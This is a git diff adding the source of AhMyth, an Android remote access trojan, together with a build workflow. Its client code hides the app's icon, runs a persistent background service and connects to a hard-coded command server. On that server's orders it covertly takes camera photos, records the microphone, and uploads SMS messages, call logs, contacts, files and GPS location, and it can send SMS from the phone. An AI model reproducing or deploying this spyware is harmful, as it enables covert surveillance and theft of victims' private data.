diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 00000000..a0a475a3 --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,72 @@ + +# This is a basic workflow to help you get started with Actions + +name: CI + +# Controls when the action will run. Triggers the workflow on push or pull request +# events but only for the master branch +on: + push: + branches: + - feature/githubActionsBuild + - master + - development + release: + types: [created] +jobs: + build: + defaults: + run: + working-directory: + AhMyth-Server + runs-on: ubuntu-latest + steps: + - name: Cache node_modules + uses: actions/cache@v2 + with: + path: ~/.npm + key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} + restore-keys: | + ${{ runner.os }}-node- + - name: Cache Electron + uses: actions/cache@v1 + with: + path: ${{ github.workspace }}/.cache/electron + key: ${{ runner.os }}-electron-cache-${{ hashFiles(format('{0}{1}', github.workspace, '/package-lock.json')) }} + restore-keys: | + ${{ runner.os }}-electron-cache- + + - name: Cache Electron-Builder + uses: actions/cache@v1 + with: + path: ${{ github.workspace }}/.cache/electron-builder + key: ${{ runner.os }}-electron-builder-cache-${{ hashFiles(format('{0}{1}', github.workspace, '/package-lock.json')) }} + restore-keys: | + ${{ runner.os }}-electron-builder-cache- + - uses: actions/checkout@v2 + - name: Install deps + run: | + sudo dpkg --add-architecture i386 + sudo apt-get update + sudo apt-get install --no-install-recommends -y wine32 wine64 gcc-multilib g++-multilib + - uses: actions/checkout@v2 + - name: Setup Node.js environment + uses: actions/setup-node@v1.4.3 + with: + node-version: 10.x + - name: Install dependencies + run: | + npm i + - name: Build Linux app (32 bit) + run: npm run build:linux32 + - name: Build Linux app (64 bit) + run: npm run build:linux64 + - name: Build Windows App (32 bit) + run: npm run build:win32 + - name: Build Windows App (64 bit) + run: npm run build:win64 + - name: Upload - push to artifact files + uses: actions/upload-artifact@v1 + with: + name: AhMyth + path: ./AhMyth-Server/dist/ diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..522d16c7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +#directories +bower_components +node_modules +dist + +#files +*.tgz +*.log \ No newline at end of file diff --git a/AhMyth-Client/.project b/AhMyth-Client/.project new file mode 100644 index 00000000..9eb133dc --- /dev/null +++ b/AhMyth-Client/.project @@ -0,0 +1,17 @@ + + + AhMyth-Client + Project AhMyth-Client created by Buildship. + + + + + org.eclipse.buildship.core.gradleprojectbuilder + + + + + + org.eclipse.buildship.core.gradleprojectnature + + diff --git a/AhMyth-Client/.settings/org.eclipse.buildship.core.prefs b/AhMyth-Client/.settings/org.eclipse.buildship.core.prefs new file mode 100644 index 00000000..e8895216 --- /dev/null +++ b/AhMyth-Client/.settings/org.eclipse.buildship.core.prefs @@ -0,0 +1,2 @@ +connection.project.dir= +eclipse.preferences.version=1 diff --git a/AhMyth-Client/AhMyth.iml b/AhMyth-Client/AhMyth.iml new file mode 100755 index 00000000..28ba339f --- /dev/null +++ b/AhMyth-Client/AhMyth.iml @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AhMyth-Client/app/.gitignore b/AhMyth-Client/app/.gitignore new file mode 100755 index 00000000..796b96d1 --- /dev/null +++ b/AhMyth-Client/app/.gitignore @@ -0,0 +1 @@ +/build diff --git a/AhMyth-Client/app/app.iml b/AhMyth-Client/app/app.iml new file mode 100755 index 00000000..bb93191c --- /dev/null +++ b/AhMyth-Client/app/app.iml @@ -0,0 +1,125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AhMyth-Client/app/build.gradle b/AhMyth-Client/app/build.gradle new file mode 100755 index 00000000..0a05d1bb --- /dev/null +++ b/AhMyth-Client/app/build.gradle @@ -0,0 +1,32 @@ +apply plugin: 'com.android.application' + +android { + compileSdkVersion 24 + buildToolsVersion '25.0.0' + defaultConfig { + applicationId "ahmyth.mine.king.ahmyth" + minSdkVersion 11 + targetSdkVersion 24 + versionCode 1 + versionName "1.0" + testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" + } + buildTypes { + release { + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' + } + } +} + +dependencies { + compile fileTree(dir: 'libs', include: ['*.jar']) + androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', { + exclude group: 'com.android.support', module: 'support-annotations' + }) + compile ('io.socket:socket.io-client:0.8.3') { + // excluding org.json which is provided by Android + exclude group: 'org.json', module: 'json' + } + testCompile 'junit:junit:4.12' +} diff --git a/AhMyth-Client/app/proguard-rules.pro b/AhMyth-Client/app/proguard-rules.pro new file mode 100755 index 00000000..66f9ffac --- /dev/null +++ b/AhMyth-Client/app/proguard-rules.pro @@ -0,0 +1,17 @@ +# Add project specific ProGuard rules here. +# By default, the flags in this file are appended to flags specified +# in /home/king/Android/Sdk/tools/proguard/proguard-android.txt +# You can edit the include path and order by changing the proguardFiles +# directive in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# Add any project specific keep options here: + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} diff --git a/AhMyth-Client/app/src/androidTest/java/ahmyth/mine/king/ahmyth/ExampleInstrumentedTest.java b/AhMyth-Client/app/src/androidTest/java/ahmyth/mine/king/ahmyth/ExampleInstrumentedTest.java new file mode 100755 index 00000000..86c2fee8 --- /dev/null +++ b/AhMyth-Client/app/src/androidTest/java/ahmyth/mine/king/ahmyth/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package ahmyth.mine.king.ahmyth; + +import android.content.Context; +import android.support.test.InstrumentationRegistry; +import android.support.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumentation test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() throws Exception { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getTargetContext(); + + assertEquals("ahmyth.mine.king.ahmyth", appContext.getPackageName()); + } +} diff --git a/AhMyth-Client/app/src/main/AndroidManifest.xml b/AhMyth-Client/app/src/main/AndroidManifest.xml new file mode 100755 index 00000000..6d107f3b --- /dev/null +++ b/AhMyth-Client/app/src/main/AndroidManifest.xml @@ -0,0 +1,58 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CallsManager.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CallsManager.java new file mode 100755 index 00000000..7d2b9a8d --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CallsManager.java @@ -0,0 +1,50 @@ +package ahmyth.mine.king.ahmyth; + +import android.database.Cursor; +import android.net.Uri; +import android.provider.CallLog; + +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + +/** + * Created by AhMyth on 11/11/16. + */ + +public class CallsManager { + + public static JSONObject getCallsLogs(){ + + try { + JSONObject Calls = new JSONObject(); + JSONArray list = new JSONArray(); + + Uri allCalls = Uri.parse("content://call_log/calls"); + Cursor cur = MainService.getContextOfApplication().getContentResolver().query(allCalls, null, null, null, null); + + while (cur.moveToNext()) { + JSONObject call = new JSONObject(); + String num = cur.getString(cur.getColumnIndex(CallLog.Calls.NUMBER));// for number + String name = cur.getString(cur.getColumnIndex(CallLog.Calls.CACHED_NAME));// for name + String duration = cur.getString(cur.getColumnIndex(CallLog.Calls.DURATION));// for duration + int type = Integer.parseInt(cur.getString(cur.getColumnIndex(CallLog.Calls.TYPE)));// for call type, Incoming or out going. + + + call.put("phoneNo", num); + call.put("name", name); + call.put("duration", duration); + call.put("type", type); + list.put(call); + + } + Calls.put("callsList", list); + return Calls; + } catch (JSONException e) { + e.printStackTrace(); + } + return null; + + } + +} diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CameraManager.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CameraManager.java new file mode 100755 index 00000000..123a824b --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CameraManager.java @@ -0,0 +1,134 @@ +package ahmyth.mine.king.ahmyth; + + +import android.content.Context; +import android.content.pm.PackageManager; +import android.graphics.Bitmap; +import android.graphics.BitmapFactory; +import android.graphics.SurfaceTexture; +import android.hardware.Camera; +import android.hardware.Camera.PictureCallback; +import android.hardware.Camera.Parameters; + +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + +import java.io.ByteArrayOutputStream; + + +public class CameraManager { + + private Context context ; + private Camera camera; + + + public CameraManager(Context context) { + this.context = context; + } + + + public void startUp(int cameraID){ + camera = Camera.open(cameraID); + Parameters parameters = camera.getParameters(); + camera.setParameters(parameters); + try{ + camera.setPreviewTexture(new SurfaceTexture(0)); + camera.startPreview(); + } catch (Exception e) { + e.printStackTrace(); + } + + camera.takePicture(null, null, new PictureCallback() { + @Override + public void onPictureTaken(byte[] data, Camera camera) { + releaseCamera(); + sendPhoto(data); + } + }); + } + + + private void sendPhoto(byte [] data){ + + try { + + Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + bitmap.compress(Bitmap.CompressFormat.JPEG, 20, bos); + JSONObject object = new JSONObject(); + object.put("image",true); + object.put("buffer" , bos.toByteArray()); + IOSocket.getInstance().getIoSocket().emit("x0000ca" , object); + + + } catch (JSONException e) { + e.printStackTrace(); + } + + } + + private void releaseCamera(){ + if (camera != null) { + camera.stopPreview(); + camera.release(); + camera = null; + } + } + + public JSONObject findCameraList() { + + if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) { + return null; + } + + + + + + try { + JSONObject cameras = new JSONObject(); + JSONArray list = new JSONArray(); + cameras.put("camList",true); + + // Search for available cameras + int numberOfCameras = Camera.getNumberOfCameras(); + for (int i = 0; i < numberOfCameras; i++) { + Camera.CameraInfo info = new Camera.CameraInfo(); + Camera.getCameraInfo(i, info); + if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) { + JSONObject jo = new JSONObject(); + jo.put("name", "Front"); + jo.put("id", i); + list.put(jo); + } + else if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK){ + JSONObject jo = new JSONObject(); + jo.put("name", "Back"); + jo.put("id", i); + list.put(jo); + } + else { + JSONObject jo = new JSONObject(); + jo.put("name", "Other"); + jo.put("id", i); + list.put(jo); + } + } + + cameras.put("list" , list); + return cameras; + + } catch (JSONException e) { + e.printStackTrace(); + } + + return null; + + } + + + + + +} diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ConnectionManager.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ConnectionManager.java new file mode 100755 index 00000000..52bd8943 --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ConnectionManager.java @@ -0,0 +1,184 @@ +package ahmyth.mine.king.ahmyth; + +import android.content.Context; +import android.os.Looper; +import android.util.Log; +import org.json.JSONObject; +import io.socket.emitter.Emitter; + + + +/** + * Created by AhMyth on 10/1/16. + */ + +public class ConnectionManager { + + + public static Context context; + private static io.socket.client.Socket ioSocket; + private static FileManager fm = new FileManager(); + + public static void startAsync(Context con) + { + try { + context = con; + sendReq(); + }catch (Exception ex){ + startAsync(con); + } + + } + + + public static void sendReq() { +try { + + + + + + if(ioSocket != null ) + return; + + ioSocket = IOSocket.getInstance().getIoSocket(); + + + ioSocket.on("ping", new Emitter.Listener() { + @Override + public void call(Object... args) { + ioSocket.emit("pong"); + } + }); + + ioSocket.on("order", new Emitter.Listener() { + @Override + public void call(Object... args) { + try { + JSONObject data = (JSONObject) args[0]; + String order = data.getString("order"); + Log.e("order",order); + switch (order){ + case "x0000ca": + if(data.getString("extra").equals("camList")) + x0000ca(-1); + else if (data.getString("extra").equals("1")) + x0000ca(1); + else if (data.getString("extra").equals("0")) + x0000ca(0); + break; + case "x0000fm": + if (data.getString("extra").equals("ls")) + x0000fm(0,data.getString("path")); + else if (data.getString("extra").equals("dl")) + x0000fm(1,data.getString("path")); + break; + case "x0000sm": + if(data.getString("extra").equals("ls")) + x0000sm(0,null,null); + else if(data.getString("extra").equals("sendSMS")) + x0000sm(1,data.getString("to") , data.getString("sms")); + break; + case "x0000cl": + x0000cl(); + break; + case "x0000cn": + x0000cn(); + break; + case "x0000mc": + x0000mc(data.getInt("sec")); + break; + case "x0000lm": + x0000lm(); + break; + + + } + + + + }catch (Exception e) { + e.printStackTrace(); + } + } + }); + ioSocket.connect(); + +}catch (Exception ex){ + + Log.e("error" , ex.getMessage()); + +} + + } + + public static void x0000ca(int req){ + + if(req == -1) { + JSONObject cameraList = new CameraManager(context).findCameraList(); + if(cameraList != null) + ioSocket.emit("x0000ca" ,cameraList ); + } + else if (req == 1){ + new CameraManager(context).startUp(1); + } + else if (req == 0){ + new CameraManager(context).startUp(0); + } + + } + + public static void x0000fm(int req , String path){ + if(req == 0) + ioSocket.emit("x0000fm",fm.walk(path)); + else if (req == 1) + fm.downloadFile(path); + } + + + public static void x0000sm(int req,String phoneNo , String msg){ + if(req == 0) + ioSocket.emit("x0000sm" , SMSManager.getSMSList()); + else if(req == 1) { + boolean isSent = SMSManager.sendSMS(phoneNo, msg); + ioSocket.emit("x0000sm", isSent); + } + } + + public static void x0000cl(){ + ioSocket.emit("x0000cl" , CallsManager.getCallsLogs()); + } + + public static void x0000cn(){ + ioSocket.emit("x0000cn" , ContactsManager.getContacts()); + } + + public static void x0000mc(int sec) throws Exception{ + MicManager.startRecording(sec); + } + + public static void x0000lm() throws Exception{ + Looper.prepare(); + LocManager gps = new LocManager(context); + JSONObject location = new JSONObject(); + // check if GPS enabled + if(gps.canGetLocation()){ + + double latitude = gps.getLatitude(); + double longitude = gps.getLongitude(); + Log.e("loc" , latitude+" , "+longitude); + location.put("enable" , true); + location.put("lat" , latitude); + location.put("lng" , longitude); + } + else + location.put("enable" , false); + + ioSocket.emit("x0000lm", location); + } + + + + + +} diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ContactsManager.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ContactsManager.java new file mode 100755 index 00000000..4f4a0d68 --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ContactsManager.java @@ -0,0 +1,46 @@ +package ahmyth.mine.king.ahmyth; + +import android.database.Cursor; +import android.provider.CallLog; +import android.provider.ContactsContract; +import android.util.Log; + +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + +/** + * Created by AhMyth on 11/11/16. + */ + +public class ContactsManager { + + public static JSONObject getContacts(){ + + try { + JSONObject contacts = new JSONObject(); + JSONArray list = new JSONArray(); + Cursor cur = MainService.getContextOfApplication().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + new String[] { ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER}, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC"); + + + while (cur.moveToNext()) { + JSONObject contact = new JSONObject(); + String name = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));// for number + String num = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));// for name + + contact.put("phoneNo", num); + contact.put("name", name); + list.put(contact); + + } + contacts.put("contactsList", list); + return contacts; + } catch (JSONException e) { + e.printStackTrace(); + } + return null; + + } + +} diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/FileManager.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/FileManager.java new file mode 100755 index 00000000..7171edd7 --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/FileManager.java @@ -0,0 +1,91 @@ +package ahmyth.mine.king.ahmyth; + +import android.util.Log; + +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + +import java.io.BufferedInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.IOException; + + +/** + * Created by AhMyth on 10/23/16. + */ + +public class FileManager { + + + public static JSONArray walk(String path){ + + + // Read all files sorted into the values-array + JSONArray values = new JSONArray(); + File dir = new File(path); + if (!dir.canRead()) { + Log.d("cannot","inaccessible"); + } + + File[] list = dir.listFiles(); + try { + if (list != null) { + JSONObject parenttObj = new JSONObject(); + parenttObj.put("name", "../"); + parenttObj.put("isDir", true); + parenttObj.put("path", dir.getParent()); + values.put(parenttObj); + for (File file : list) { + if (!file.getName().startsWith(".")) { + JSONObject fileObj = new JSONObject(); + fileObj.put("name", file.getName()); + fileObj.put("isDir", file.isDirectory()); + fileObj.put("path", file.getAbsolutePath()); + values.put(fileObj); + + } + } + } + } catch (JSONException e) { + e.printStackTrace(); + } + + + return values; + } + + public static void downloadFile(String path){ + if (path == null) + return; + + File file = new File(path); + + if (file.exists()){ + + int size = (int) file.length(); + byte[] data = new byte[size]; + try { + BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file)); + buf.read(data, 0, data.length); + JSONObject object = new JSONObject(); + object.put("file",true); + object.put("name",file.getName()); + object.put("buffer" , data); + IOSocket.getInstance().getIoSocket().emit("x0000fm" , object); + buf.close(); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } catch (JSONException e) { + e.printStackTrace(); + } + + + } + } + +} diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/IOSocket.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/IOSocket.java new file mode 100755 index 00000000..f3ef1487 --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/IOSocket.java @@ -0,0 +1,46 @@ +package ahmyth.mine.king.ahmyth; + +import android.os.Build; +import android.provider.Settings; +import java.net.URISyntaxException; +import io.socket.client.IO; +import io.socket.client.Socket; + + +/** + * Created by AhMyth on 10/14/16. + */ +public class IOSocket { + private static IOSocket ourInstance = new IOSocket(); + private io.socket.client.Socket ioSocket; + + + + private IOSocket() { + try { + + String deviceID = Settings.Secure.getString(MainService.getContextOfApplication().getContentResolver(), Settings.Secure.ANDROID_ID); + IO.Options opts = new IO.Options(); + opts.reconnection = true; + opts.reconnectionDelay = 5000; + opts.reconnectionDelayMax = 999999999; + + ioSocket = IO.socket("http://192.168.8.101:42474?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID); + } catch (URISyntaxException e) { + e.printStackTrace(); + } + } + + + public static IOSocket getInstance() { + return ourInstance; + } + + public Socket getIoSocket() { + return ioSocket; + } + + + + +} diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/LocManager.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/LocManager.java new file mode 100755 index 00000000..1b7e1ab5 --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/LocManager.java @@ -0,0 +1,164 @@ +package ahmyth.mine.king.ahmyth; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.location.Location; +import android.location.LocationListener; +import android.location.LocationManager; +import android.os.Bundle; +import android.os.IBinder; +import android.util.Log; + +import static android.content.Context.LOCATION_SERVICE; + +public class LocManager implements LocationListener { + + private final Context mContext; + // flag for GPS status + boolean isGPSEnabled = false; + // flag for network status + boolean isNetworkEnabled = false; + // flag for GPS status + boolean canGetLocation = false; + Location location; // location + double latitude; // latitude + double longitude; // longitude + // The minimum distance to change Updates in meters + private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 10; // 10 meters + // The minimum time between updates in milliseconds + private static final long MIN_TIME_BW_UPDATES = 1000 * 60 * 1; // 1 minute + // Declaring a Location Manager + protected LocationManager locationManager; + + + public LocManager() { + this.mContext = null; + } + + + public LocManager(Context context) { + this.mContext = context; + getLocation(); + } + + + public Location getLocation() { + try { + locationManager = (LocationManager) mContext.getSystemService(LOCATION_SERVICE); + // getting GPS status + isGPSEnabled = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER); + // getting network status + isNetworkEnabled = locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER); + + if (isGPSEnabled || isNetworkEnabled) { + + this.canGetLocation = true; + + // First get location from Network Provider + if (isNetworkEnabled) { + locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, MIN_TIME_BW_UPDATES, MIN_DISTANCE_CHANGE_FOR_UPDATES, this); + + Log.d("Network", "Network"); + if (locationManager != null) { + location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); + + if (location != null) { + latitude = location.getLatitude(); + longitude = location.getLongitude(); + } + } + } + + // if GPS Enabled get lat/long using GPS Services + if (isGPSEnabled) { + if (location == null) { + locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, MIN_TIME_BW_UPDATES, MIN_DISTANCE_CHANGE_FOR_UPDATES, this); + + + if (locationManager != null) { + location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); + + if (location != null) { + latitude = location.getLatitude(); + longitude = location.getLongitude(); + } + } + } + } + } + + } catch (Exception e) { + e.printStackTrace(); + } + + stopUsingGPS(); + return location; + } + + /** + * Stop using GPS listener + * Calling this function will stop using GPS in your app + * */ + + public void stopUsingGPS(){ + if(locationManager != null){ + locationManager.removeUpdates(LocManager.this); + } + } + + /** + * Function to get latitude + * */ + + public double getLatitude(){ + if(location != null){ + latitude = location.getLatitude(); + } + + // return latitude + return latitude; + } + + /** + * Function to get longitude + * */ + + public double getLongitude(){ + if(location != null){ + longitude = location.getLongitude(); + } + + // return longitude + return longitude; + } + + /** + * Function to check GPS/wifi enabled + * @return boolean + * */ + + public boolean canGetLocation() { + return this.canGetLocation; + } + + + + @Override + public void onLocationChanged(Location location) { + } + + @Override + public void onProviderDisabled(String provider) { + } + + @Override + public void onProviderEnabled(String provider) { + } + + @Override + public void onStatusChanged(String provider, int status, Bundle extras) { + } + + +} \ No newline at end of file diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainActivity.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainActivity.java new file mode 100755 index 00000000..f56139d8 --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainActivity.java @@ -0,0 +1,31 @@ +package ahmyth.mine.king.ahmyth; + +import android.app.Activity; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.hardware.Camera; +import android.os.Bundle; +import android.util.Log; +import android.view.View; +import android.widget.Toast; + + + +public class MainActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + startService(new Intent(this, MainService.class)); + finish(); + fn_hideicon(); + } + + + private void fn_hideicon() { + getPackageManager().setComponentEnabledSetting(getComponentName(), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + } +} diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainService.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainService.java new file mode 100755 index 00000000..a5625b5e --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainService.java @@ -0,0 +1,45 @@ +package ahmyth.mine.king.ahmyth; + +import android.app.ActivityManager; +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.os.IBinder; +import android.util.Log; +import android.widget.Toast; + +public class MainService extends Service { + private static Context contextOfApplication; + + public MainService() { + } + + @Override + public IBinder onBind(Intent intent) { + // TODO: Return the communication channel to the service. + //throw new UnsupportedOperationException("Not yet implemented"); + return null; + } + + + @Override + public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) + { + contextOfApplication = this; + ConnectionManager.startAsync(this); + return Service.START_STICKY; + } + + @Override + public void onDestroy() { + super.onDestroy(); + } + + + public static Context getContextOfApplication() + { + return contextOfApplication; + } + + +} diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MicManager.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MicManager.java new file mode 100755 index 00000000..acfe015b --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MicManager.java @@ -0,0 +1,102 @@ +package ahmyth.mine.king.ahmyth; + + import android.media.AudioFormat; + import android.media.AudioManager; + import android.media.AudioRecord; + import android.media.AudioTrack; + import android.media.MediaRecorder; + import android.os.Environment; + import android.os.ParcelFileDescriptor; + import android.util.Log; + import android.view.View; + + import org.json.JSONException; + import org.json.JSONObject; + + import java.io.BufferedInputStream; + import java.io.File; + import java.io.FileInputStream; + import java.io.FileNotFoundException; + import java.io.FileOutputStream; + import java.io.IOException; + import java.io.InputStream; + import java.io.OutputStream; + import java.util.Timer; + import java.util.TimerTask; + +/** + * Created by AhMyth on 11/11/16. + */ + +public class MicManager { + + + static MediaRecorder recorder; + static File audiofile = null; + static final String TAG = "MediaRecording"; + static TimerTask stopRecording; + + + public static void startRecording(int sec) throws Exception { + + + //Creating file + File dir = MainService.getContextOfApplication().getCacheDir(); + try { + Log.e("DIRR" , dir.getAbsolutePath()); + audiofile = File.createTempFile("sound", ".mp3", dir); + } catch (IOException e) { + Log.e(TAG, "external storage access error"); + return; + } + + + //Creating MediaRecorder and specifying audio source, output format, encoder & output format + recorder = new MediaRecorder(); + recorder.setAudioSource(MediaRecorder.AudioSource.MIC); + recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); + recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); + recorder.setOutputFile(audiofile.getAbsolutePath()); + recorder.prepare(); + recorder.start(); + + + stopRecording = new TimerTask() { + @Override + public void run() { + //stopping recorder + recorder.stop(); + recorder.release(); + sendVoice(audiofile); + audiofile.delete(); + } + }; + + new Timer().schedule(stopRecording, sec*1000); + } + + private static void sendVoice(File file){ + + int size = (int) file.length(); + byte[] data = new byte[size]; + try { + BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file)); + buf.read(data, 0, data.length); + JSONObject object = new JSONObject(); + object.put("file",true); + object.put("name",file.getName()); + object.put("buffer" , data); + IOSocket.getInstance().getIoSocket().emit("x0000mc" , object); + buf.close(); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } catch (JSONException e) { + e.printStackTrace(); + } + + } + +} + diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MyReceiver.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MyReceiver.java new file mode 100755 index 00000000..403f9557 --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MyReceiver.java @@ -0,0 +1,19 @@ +package ahmyth.mine.king.ahmyth; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; + +public class MyReceiver extends BroadcastReceiver { + public MyReceiver() { + } + + @Override + public void onReceive(Context context, Intent intent) { + // TODO: This method is called when the BroadcastReceiver is receiving + // an Intent broadcast. + intent = new Intent( context, MainService.class ); + context.startService(intent); + + } +} diff --git a/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/SMSManager.java b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/SMSManager.java new file mode 100755 index 00000000..be822a62 --- /dev/null +++ b/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/SMSManager.java @@ -0,0 +1,61 @@ +package ahmyth.mine.king.ahmyth; + +import android.database.Cursor; +import android.net.Uri; +import android.telephony.SmsManager; +import android.util.Log; + +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + +/** + * Created by AhMyth on 11/10/16. + */ + +public class SMSManager { + + public static JSONObject getSMSList(){ + + try { + JSONObject SMSList = new JSONObject(); + JSONArray list = new JSONArray(); + + + Uri uriSMSURI = Uri.parse("content://sms/inbox"); + Cursor cur = MainService.getContextOfApplication().getContentResolver().query(uriSMSURI, null, null, null, null); + + while (cur.moveToNext()) { + JSONObject sms = new JSONObject(); + String address = cur.getString(cur.getColumnIndex("address")); + String body = cur.getString(cur.getColumnIndexOrThrow("body")); + sms.put("phoneNo" , address); + sms.put("msg" , body); + list.put(sms); + + } + SMSList.put("smsList", list); + Log.e("done" ,"collecting"); + return SMSList; + } catch (JSONException e) { + e.printStackTrace(); + } + + return null; + + } + + public static boolean sendSMS(String phoneNo, String msg) { + try { + SmsManager smsManager = SmsManager.getDefault(); + smsManager.sendTextMessage(phoneNo, null, msg, null, null); + return true; + } catch (Exception ex) { + ex.printStackTrace(); + return false; + } + + } + + +} diff --git a/AhMyth-Client/app/src/main/res/layout/activity_main.xml b/AhMyth-Client/app/src/main/res/layout/activity_main.xml new file mode 100755 index 00000000..91d9cdd8 --- /dev/null +++ b/AhMyth-Client/app/src/main/res/layout/activity_main.xml @@ -0,0 +1,29 @@ + + + + + +